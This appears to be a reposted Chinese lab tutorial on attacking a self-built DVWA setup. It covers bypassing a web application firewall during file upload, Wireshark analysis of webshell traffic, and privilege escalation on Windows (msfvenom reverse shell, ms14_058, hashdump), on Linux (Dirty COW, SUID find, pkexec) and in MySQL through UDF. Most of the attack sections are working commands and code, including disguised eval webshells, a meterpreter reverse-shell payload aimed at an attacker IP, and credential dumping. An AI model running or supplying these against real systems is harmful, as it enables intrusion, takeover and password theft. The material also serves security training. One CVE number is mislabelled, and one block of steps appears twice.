WAF绕过,网络层面后门分析,Windows/linux/数据库提权实验

news2025/6/7 22:39:28

一、WAF绕过文件上传漏洞

win7:10.0.0.168
思路:要想要绕过WAF,第一步是要根据上传的内容找出来被拦截的原因。对于文件上传有三个可以考虑的点:文件后缀名,文件内容,文件类型。
第二步是根据找出来的拦截原因进行针对性的绕过。
​
在整个实验过程中,dvwa的环境为安全等级为低,只为了演示WAF的绕过方法。如果安全等级为中的话,则还需要进行文件类型的绕过(因为网站本身对文件类型有一个绕过)。
在没有WAF的情况下,文件上传就是上传带有攻击特性的木马文件,通过大小写,图片马,双写,文件类型更改等方式进行绕过。
1、找出WAF拦截的原因:
(1)我们先上传一个内容为“123”的.php文件(内容正常,但是后缀是php文件),在上传一个内容一样的但是后缀为txt的文件,如果.php后缀被拦截了,说明WAF拦截的是文件后缀名,如果没有被拦截,则继续进行测试。
(2)上传一个内容是“<?php phpinfo();?>”或者一句话木马“<?php @eval($_POST['a']);?>”,但是后缀是正常的txt或者png;在上传一个内容为123456的正常文件,后缀和前面保持一致要么都是txt要么都是png。来验证是否拦截的是文件内容,如果一句话木马被拦截,则说明拦截的是文件内容。
(3)上传文件内容为123456,后缀为.txt的文件,通过抓包将文件的文件类型进行修改,一种文件类型为image,一种为php,看看是否会被拦截。
​
排除拦截原因采用的方法是控制变量法,保证其他两个内容相同,来改变其中的一个因素,从而确定WAF拦截的是什么。通过实验,这里我们确定了安全狗拦截的是文件的文件的后缀。

2、拦截后缀的绕过
(1)通过双写filename=;filename="phpinfo.php"
phpinfo.php文件内容为<?php phpinfo();?>
实验步骤:对于提交文件的网页进行数据截取抓包--在抓到的数据包中在内容描述那里进行filename双写--将包放过去--完成绕过。
实验原理是:网站是通过文件名来进行文件后缀的判断的,当检测到filename的时候已经有一个分号,则会停止往后面继续进行检查(也有一部分原因是因为WAF的检测时间是非常有限的)。

(2)利用无用文件头绕过
在请求正文那里加入大量的无用数据(注意要和请求头中间空一行)(上传phpinfo.php)。如果发现不成功的原因一定是加入的无用数据不够多。
原理:使用大量的无用文件头来消耗WAF的检测时间,导致还没有检测到文件后缀的时候WAF已经没有时间继续进行往下面检测了,只能将数据包放过去。

(3)绕过内容检测
当直接上传一个一句话木马文件post.php的时候,使用双写filename=;进行文件后缀绕过,可以上传成功,但是无法进行访问,因为这个一句话木马的攻击特性太过于明显了。我们需要准备一个攻击特征不明显的代码,但是语义保持不变,即上传免杀一句话木马。
<?php
   $name = $_GET[1];
   $name = substr($name,0);
   eval("echo 123;" . $name."echo 456; ");
?>
原理:上面的免杀一句话木马经过三步处理以后,“直接执行用户的输入”这个事情的特征变得没有那么明显。
操作:上传bypass文件--上传成功--访问--1=phpinfo()
也可以将免伤木马换为post方式,然后使用蚁剑进行连接--连接成功。

(4)利用00截断绕过--解决向上上传的问题
上传文件,将文件名改为phpinfo.php;,jpg,也就是在文件名后面加;,jpg,将jpg改为png也可以。
操作:对于上面的页面请求包进行拦截--点击Hex--把3b修改成00--进行上传--上传成功。(一定要在十六进制下面将3b改为00才可以。)

二、Webshell网络层面后门分析

采用Wireshark来检测蚁剑的流量;

  • Wireshark是一款抓包工具,但是其只能对于数据包进行获取,不能修改数据包;优点为可以抓取各种协议的数据包。

  • Burp只能抓取http协议的数据包,优点是可以对数据包进行修改。

实验环境:phpstudy+DVWA+wireshark
1、自己搭建一个dvwa网站.
2、使用dvwa中的low等级进行文件上传post.php,上传成功,webshell;

3、进行蚁剑连接--测试连接--连接成功--打开虚拟终端。
4、打开wireshark工具--进入后添加地址--发现流量,采用语法进行流量过滤分析:
ip.dst==10.0.0.168&&http   --查询目的IP是10.0.0.167并且协议为http的流量包
ip.src==10.0.0.168&&http   --只显示源地址是该ip的数据包
ip.addr==10.0.0.168&&http  --只要涉及到该ip的无论是响应包还是请求包都会显示出来
5、右击数据包,追踪http流,即可以发现蚁剑执行命令的流量包。
6、颜色为红底的是请求包:%两位十六位进制是URL编码方式--将请求包进行url解码,监测到蚁剑的流量包。
7、对数据包进行分析:出现runcmd,fget,exec,passthru,putenv,run shellshock等这些命令执行函数或者命令的时候说明这个数据包不安全。

三、Windows提权实战

1、环境
win7+kali linux
kali的ip:10.0.0.162
win7的ip:10.0.0.168
2、通过文件上传漏洞成功上传一句话木马--拿下webshell--使用蚁剑进行连接。

3、攻击思路
使用msf制作后门程序--通过webshell上传后门程序--kali开启监听--在windows中运行后门程序,反弹shell--kali msf拿到meterpreter权限--对目标及其进行扫描,找到提权漏洞实现提权--利用漏洞实现提权--获取管理员的账号密码
(1) 使用msf制作后门程序
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.0.162 lport=5555 -f exe -o 5555.exe   // lhost 需改成kali机器的IP
(-p设置payload;lhost监听ip;lport监听端口;-f文件类型;-o文件名)

(2) 将生成的5555.exe复制到物理机上面--利用文件上传漏洞将其上传(在蚁剑中右击进行文件上传)--上传成功

(3) kali开启监听(和制作后门程序的设置保持一致)
msfconsole
use exploit/multi/handler
options
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.0.0.162
set lport 5555
exploit
(4)回到蚁剑中,打开虚拟终端,输入5555.exe回车即为执行该文件--kali中收到反弹shell--拿到meterpreter会话--输入getuid查看当前权限。

(5)查找可以提权的漏洞(如果查询失败了可以多查询几次)
run post/windows/gather/enum_patches 查看补丁信息
run post/multi/recon/local_exploit_suggester 查询哪些提权exp可以用
绿色字体的即为可以利用该漏洞进行提权
输入background --将当前会话保存在后台

(6)漏洞利用--在监听的命令提示符后面直接输入
search ms14_058
use 2  --针对windows x64
options --这里发现只需要输入可用的会话即可
session -l   --展示当前的会话
set session 1
set payload windows/x64/meterpreter/reverse_tcp
exploit
成功返回meterpreter,输入getuid发现用户变为system权限
shell进入cmd的shell,执行whoami--发现提权成功
输入ipconfig乱码时输入chcp 437.
(7)获取管理员的密码--输入hashdump--将密码进行md5解码即可。

四、Linux提权实战

1、Linux脏牛提权-CVE-2016-5159

漏洞原理:CVE-2016-5159,即Dirty Cow,俗称脏牛漏洞。本质是linux内核的子系统在处理写入时复制产生了条件竞争,恶意用户可以利用此漏洞来获取高权限。

脏牛提权:提权之前为msfadmin权限。

1、操作环境:Metasploitable-2
# 下载--是一个操作系统,需要将其安装在虚拟机中。
https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
--下载好文件--解压缩--选择.vmk后缀的文件右击,选择vmware打开,然后会跳转到vmware中,选择打开虚拟机--点击我已经复制好虚拟机--然后虚拟机开始运行--使用账号密码进行登录--即可使用。
# 账号密码
msfadmin/msfadmin

2、具体操作
(1)上传提权exp dirty.c。--这个脚本的意思是将root的权限复制给要新创建的用户firefart中。
xshell中有一个sftp功能--点击一下子就会进入sftp功能下面,提示符为:sftp:/home/msfadmin>,这个时候就可以进行远程文件的传输了--有以下命令较为常用:
pwd 是查看远程服务器的当前目录路径;
lpwd 是查看本地电脑的当前目录路径;
cd 是切换远程服务器的目录;
lcd 是切换本地电脑的目录;
ls 是查看 sftp 服务器的当前目录的文件信息;
lls 是查看本地电脑的当前目录的文件信息;
put 是上传文件(从本地电脑到远程服务器);
get 是下载文件(从远程服务器到本地电脑);
exit/quit,退出
我们现在是要将windows里面的文件上传至linux中:
cd  目录A   设置要将文件上传到linux中的哪个目录中
lcd  目录B  这是要将windows中的哪个目录中文件进行上传(路径要是全英文,如果有中文会爆粗)
put  文件名 这是要下载的文件的文件名
然后回到linux中,就可以看到目录A下面有已经上传的文件了。
--在sftp中输入命令:dirty.c在windows的E:\Softdown\xshell\files目录下,将文件上传至linux中的/home/msfadmin目录。
cd /home/msfadmin
lcd  E:\Softdown\xshell\files
put dirty.c
--在linux的/home/msfadmin目录下面ls,则可以看到上传的dirty.c.文件。

(2)使用xshell连接操作系统。
(3)使用gcc进行编译:gcc -pthread dirty.c -o dirty -lcrypt
(4)进行提权(root是任意输入的密码):./dirty root(设置新建用户的密码是root)
(5)cat /etc/passwd发现多了一个用户firefart.
(6)su firefart password:root  --这是将用户转换为firefart,密码为root刚才设置的。
(7)whoami --提权成功。

2、SUID提权

  • SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。

  • 举个例子:vim文件具备s权限,即vim命令具备s权限,其拥有者是root;www-data用户使用vim命令时,可以短暂获得root权限,如果能抓住这短暂的时间执行系统命令,其实就相当于是以root用户的权限去做执行操作。

  • SUID提权其本质是一直都是普通用户,不过在进行某些操作的时候会短暂的拥有管理员权限。并未将当前用户提权为root用户。

操作环境:docker pull docker.io/citizenstig/dvwa

具体操作:
(1)在dvwa安全等级是low的时候,通过文件上传漏洞,上传post.php文件,然后通过蚁剑进行连接,从而webshell。
(2)进入蚁剑中的网站的虚拟终端,whoami查看当前权限www-data。
(3)在这里我们使用可以用来提权的命令中的find,ls -l /usr/bin/find,发现find并没有SUID权限,所以这里我们首先需要将find权限修改为SUID权限:(由于是自己做实验,所以才需要进行权限的修改,一般自己打网站的时候,这些命令的权限是已经设置好的)
进入容器:
docker exec -it f05c33cb5d49 /bin/bash
chmod u+s /usr/bin/find
ls -l /usr/bin/find   --查看权限
(4)利用find命令提权至root权限(先ls,查看当前目录下面的文件,这里这个post.php是我使用文件上传漏洞上传上去webshell的文件。)
find / -name post.php -exec "whoami" \;

3、Linux Polkit本地提权--CVE-2021-4034

原理:利用linux中的Polkit服务,允许非root用户执行管理任务,而无需授予其root权限。Polkit服务中的pkexec存在本地权限提升漏洞,已获得普通权限的攻击者可以通过此漏洞获得root权限。

操作环境:docker pull docker.io/chenaotian/cve-2021-4034

(1)由于该容器中已经集成了现成的poc,我们先生成exp
docker run -d -ti --rm -h cvedebug --name cvedebug --cap-add=SYS_PTRACE chenaotian/cve-2021-4034:latest /bin/bash   --启动容器
docker ps  --查看运行容器的id
docker exec -it  ed01c36a71f2 /bin/bash   --进入容器中
cd ~   --回到家目录
ls     --查看加目录下面的文件,有一个exp
cd exp --查看exp下面的文件
cd cve-2021-4034 
./run.sh    --运行run.sh脚本
cat /etc/passwd  --有一个test用户
su test    --切换为test用户
whoami     --当前用户是test
pwd        --当前目录是/root/exp/CVE-2021-4034
ls         --该目录下面有一个exp
(2)运行exp,进行提权
./exp      --运行exp
whoami  -- 提权成功
su root

五、数据库UDF提权实战

  • 原理:UDF是Mysql的一个拓展接口,是数据库正常的功能。可以利用UDF,通过添加命令执行函数可以执行系统命令,从而实现提权。

  • 通过添加自定义函数来帮助实现提权。

操作环境:win7+phpstudy+DVWA
UDF提权条件:
1、MYSQL版本大于5.1版本(对于现在的数据库版本来说都已经满足)
2、网站本身存在Getshell漏洞,可以通过webshell可以将udf.dll上传到mysql的lib\plugin目录下
3、掌握的mysql数据库账号有对mysql的insert和delete权限以创建和删除函数
4、secure-file-priv参数不为null(在本实验中非必须条件,可以不用管它)

具体操作流程:
1、通过网站漏洞获取webshell(通过自己搭建的dvwa网站,在low等级下,将post.php上传上去,实现webshell),利用蚁剑连接,在虚拟终端中输入whoami得知当前权限。(不再赘述)
2、查找数据库账号密码--在dvwa的配置文件中直接读取(通过读取配置文件来获取数据库的密码)
3、因为mysql在默认情况下是不开启远程连接的,所以这里我们需要先手动打开远程连接:
在phpstudy中打开数据库工具SQL_Front--找到sql编辑器--运行下面语句。(这里的密码可以设置为root)
grant all privileges on *.* to "root"@"%" identified by "root";
4、使用navicat工具来连接数据库,连接成功
5、信息搜集:
show variables like '%compile%';  --查询mysql数据库系统位数
show variables like 'plugin%';    --查看/lib/plugin的具体路径,方便将.dll文件上传到准去位置,查询到位置之后将路径进行复制--C:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\

6、如何满足UDF提权的第四个条件:
在蚁剑中--找到/phpstudy_pro/Extensions/MySQL5.7.26/my.ini--在配置文件中直接写入secure-file-priv=--保存--phpstudy--mysql重启生效
7、制作提权dll
(1)查找dll文件--在自己安装的sqlmap文件夹目录下面进行查找
sqlmap中有编码后的dll文件,一般情况下路径为:
sqlmap\data\udf\mysql\windows\32\lib_mysqludf_sys.dll_
sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_
我自己的路径为:E:\Softdown\SQLMAP\SQLmap\SQLmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_
(2)查找cloak.py文件--同样的在安装了sqlmap目录下面进行查找
根据mysql的位数来进行dll文件的查找。需要利用cloak.py进行解码获得mysqludf_sys.dll,cloak.py在sqlmap的sqlmap\extra\cloak\目录下,找到cloak.py.
(3)将找到的.dll文件和cloak.py文件放在一个新建的文件夹中,在该文件夹中cmd--运行
python cloak.py -d -i lib_mysqludf_sys.dll_  
--会在该文件夹中生成一个dll文件.

8、将dll文件上传到第五步通过信息搜集获取到的路径中。--使用蚁剑进行上传
mysql默认安装的时候没有lib\plugin目录,这里可以直接新建这两个目录--将第7(3)生成的那个dll文件上传至该路径中。
9、创建sys_eval函数(在数据库中执行),进行提权
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
使用该函数进行提权:select sys_eval('whoami');--提权失败。(原因以及解决办法详见下面的注意事项。)

8、将dll文件上传到第五步通过信息搜集获取到的路径中。--使用蚁剑进行上传
mysql默认安装的时候没有lib\plugin目录,这里可以直接新建这两个目录--将第7(3)生成的那个dll文件上传至该路径中。
9、创建sys_eval函数(在数据库中执行),进行提权
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
使用该函数进行提权:select sys_eval('whoami');--提权失败。(原因以及解决办法详见下面的注意事项。)

注意:基于数据库的提权只能提权到部署用户的权限,如果部署用户是普通用户,则只能提到普通用户的权限。在我们的上面的部署数据库的过程中,权限一直都是普通用户。我们安装的win7是一个干净的操作系统,默认没有开启administrator权限。

在虚拟机win7中:启动administrator权限:cmd(以管理员身份进行运行)--
net user administrator /active:yes
net user administrator magedu   --设置密码
--切换用户登录(在电脑开始那里可以直接选择切换用户,切换为adminstrator)--在phpstudy进行mysql重启--此时是以administrator权限进行mysql部署的,再次执行select sys_eval('whoami');--提权成功。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2403421.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Vue 3 弹出式计算器组件(源码 + 教程)

&#x1f9ee; Vue 3 弹出式计算器组件&#xff08;源码 教程&#xff09; &#x1f4cc; 建议收藏 点赞 关注&#xff0c;本组件支持加减乘除、双向绑定、计算过程展示&#xff0c;适用于表单辅助输入场景。 &#x1f527; 一、完整源码&#xff08;复制即用&#xff09; …

监测预警系统重塑隧道安全新范式

在崇山峻岭的脉络间延伸的隧道&#xff0c;曾是交通安全的薄弱环节。智慧隧道监测预警系统的诞生&#xff0c;正在彻底改变这种被动防御格局&#xff0c;通过数字神经网络的构建&#xff0c;为地下交通动脉注入智能守护基因。 一、安全防控体系的质变升级 1.风险感知维度革命…

技巧小结:外部总线访问FPGA寄存器

概述 需求&#xff1a;stm32的fsmc总线挂载fpga&#xff0c;stm32需要访问fpga内部寄存器 1、分散加载文件将变量存放到指定地址即FPGA寄存器地址 sct文件指定变量存储地址&#xff0c;从而可以直接访问外设&#xff0c;&#xff08;28335也可以&#xff0c;不过用的是cmd文件…

jenkins集成gitlab发布到远程服务器

jenkins集成gitlab发布到远程服务器 前面我们讲了通过创建maven项目部署在jenkins本地服务器&#xff0c;这次实验我们将部署在远程服务器&#xff0c;再以nginx作为前端项目做一个小小的举例 1、部署nginx服务 [rootweb ~]# docker pull nginx [rootweb ~]# docker images …

当主观认知遇上机器逻辑:减少大模型工程化中的“主观性”模糊

一、人类与机器的认知差异 当自动驾驶汽车遇到紧急情况需要做出选择时&#xff0c;人类的决策往往充满矛盾&#xff1a;有人会优先保护儿童和老人&#xff0c;有人坚持"不主动变道"的操作原则。这种差异背后&#xff0c;体现着人类特有的情感判断与价值选择。而机器的…

会计 - 金融负债和权益工具

一、金融负债和权益工具区分的基本原则 (1)是否存在无条件地避免交付现金或其他金融资产的合同义务 如果企业不能无条件地避免以交付现金或其他金融资产来履行一项合同义务,则该合同义务符合金融负债的义务。 常见的该类合同义务情形包括:- 不能无条件避免的赎回; -强制…

Dify工具插件开发和智能体开发全流程

想象一下&#xff0c;你正在开发一个 AI 聊天机器人&#xff0c;想让它能实时搜索 Google、生成图像&#xff0c;甚至自动规划任务&#xff0c;但手动集成这些功能耗时又复杂。Dify 来了&#xff01;这个开源的 AI 应用平台让你轻松开发工具插件和智能体策略插件&#xff0c;快…

AI书签管理工具开发全记录(十三):TUI基本框架搭建

文章目录 AI书签管理工具开发全记录&#xff08;十三&#xff09;&#xff1a;TUI基本框架搭建前言 &#x1f4dd;1.TUI介绍 &#x1f50d;2. 框架选择 ⚙️3. 功能梳理 &#x1f3af;4. 基础框架搭建⚙️4.1 安装4.2 参数设计4.3 绘制ui4.3.1 设计结构体4.3.2 创建头部4.3.3 创…

初识结构体,整型提升及操作符的属性

目录 一、结构体成员访问操作符1.1 结构体二、操作符的属性&#xff1a;优先级、结合性2.1 优先级2.2 结合性C 运算符优先级 三、表达式求值3.1 整型提升3.2 算数转化 总结 一、结构体成员访问操作符 1.1 结构体 C语言已经提供了内置类型&#xff0c;如&#xff1a;char,shor…

检测到 #include 错误。请更新 includePath。已为此翻译单元(D:\软件\vscode\test.c)禁用波形曲线

原文链接&#xff1a;【VScodeMinGw】安装配置教程 下载mingw64 打开可以看到bin文件夹下是多个.exe文件&#xff0c;gcc.exe地址在环境配置中要用到 原文链接&#xff1a;VSCode中出现“#include错误&#xff0c;请更新includePath“问题&#xff0c;解决方法 重新VScode后…

2025年,百度智能云打响AI落地升维战

如果说从AI到Agent是对于产品落地形态的共识&#xff0c;那么如今百度智能云打响的恰是一个基于Agent进行TO B行业表达的AI生产力升维战。 在这个新的工程体系能力里&#xff0c;除了之前百度Create大会上提出的面向Agent的RAG能力等通用能力模块&#xff0c;对更为专业、个性…

Seed1.5-VL登顶,国产闭源模型弯道超车丨多模态模型5月最新榜单揭晓

随着图像、文本、语音、视频等多模态信息融合能力的持续增强&#xff0c;多模态大模型在感知理解、逻辑推理和内容生成等任务中的综合表现不断提升&#xff0c;正在展现出愈发接近人类的智能水平。多模态能力也正在从底层的感知理解&#xff0c;迈向具备认知、推理、决策能力的…

第3章——SSM整合

一、整合持久层框架MyBatis 1.准备数据库表及数据 创建数据库&#xff1a;springboot 使用IDEA工具自带的mysql插件来完成表的创建和数据的准备&#xff1a; 创建表 表创建成功后&#xff0c;为表准备数据&#xff0c;如下&#xff1a; 2.创建SpringBoot项目 使用脚手架创建…

VTK 显示文字、图片及2D/3D图

1. 基本环境设置 首先确保你已经安装了VTK库&#xff0c;并配置好了C开发环境。 #include <vtkSmartPointer.h> #include <vtkRenderWindow.h> #include <vtkRenderWindowInteractor.h> #include <vtkRenderer.h> 2. 显示文字 2D文字 #include &l…

小白如何在cursor中使用mcp服务——以使用notion的api为例

1. 首先安装node.js,在这一步的时候不要勾选不要勾选 2. 安装完之后,前往notion页面 我的创作者个人资料 | Notion 前往集成页面&#xff0c;添加新集成&#xff0c;自己输入名字&#xff0c;选择内部 新建完之后&#xff0c;进入选择只读 复制密匙 然后前往cursor页面 新建…

引领AI安全新时代 Accelerate 2025北亚巡展·北京站成功举办

6月5日&#xff0c;网络安全行业年度盛会——"Accelerate 2025北亚巡展北京站"圆满落幕&#xff01;来自智库、产业界、Fortinet管理层及技术团队的权威专家&#xff0c;与来自各行业的企业客户代表齐聚一堂&#xff0c;围绕"AI智御全球引领安全新时代"主题…

为什么说数列是特殊的函数

文章目录 前情概要函数特性特殊之处典例剖析前情概要 高三的学生几乎都听老师说过,数列是特殊的函数,那么如何理解这句话呢,无外乎需要关注两点:①函数性,②特殊性,以下举例说明,帮助各位学子理解。 函数特性 既然是按照一定的次序排列而成的一列数字,那么这些数字(…

解决uniapp开发app map组件最高层级 遮挡自定义解决底部tabbar方法

subNvue&#xff0c;是 vue 页面的原生子窗体&#xff0c;把weex渲染的原生界面当做 vue 页面的子窗体覆盖在页面上。它不是全屏页面&#xff0c;它给App平台vue页面中的层级覆盖和原生界面自定义提供了更强大和灵活的解决方案。它也不是组件&#xff0c;就是一个原生子窗体。 …

96. 2017年蓝桥杯省赛 - Excel地址(困难)- 进制转换

96. Excel地址&#xff08;进制转换&#xff09; 1. 2017年蓝桥杯省赛 - Excel地址&#xff08;困难&#xff09; 标签&#xff1a;2017 省赛 1.1 题目描述 Excel 单元格的地址表示很有趣&#xff0c;它使用字母来表示列号。 比如&#xff0c; A 表示第 1 列&#xff0c;…

PPT转图片拼贴工具 v1.0

软件介绍 这个软件的作用就是将单个PPT的每一页转换为单独的图片&#xff0c;然后将图片进行拼接起来。 但是我没有还没有解决一次性处理多个文件。 效果展示如下&#xff1a; 软件安装 软件源码 import os import re import win32com.client from PIL import Imagedef con…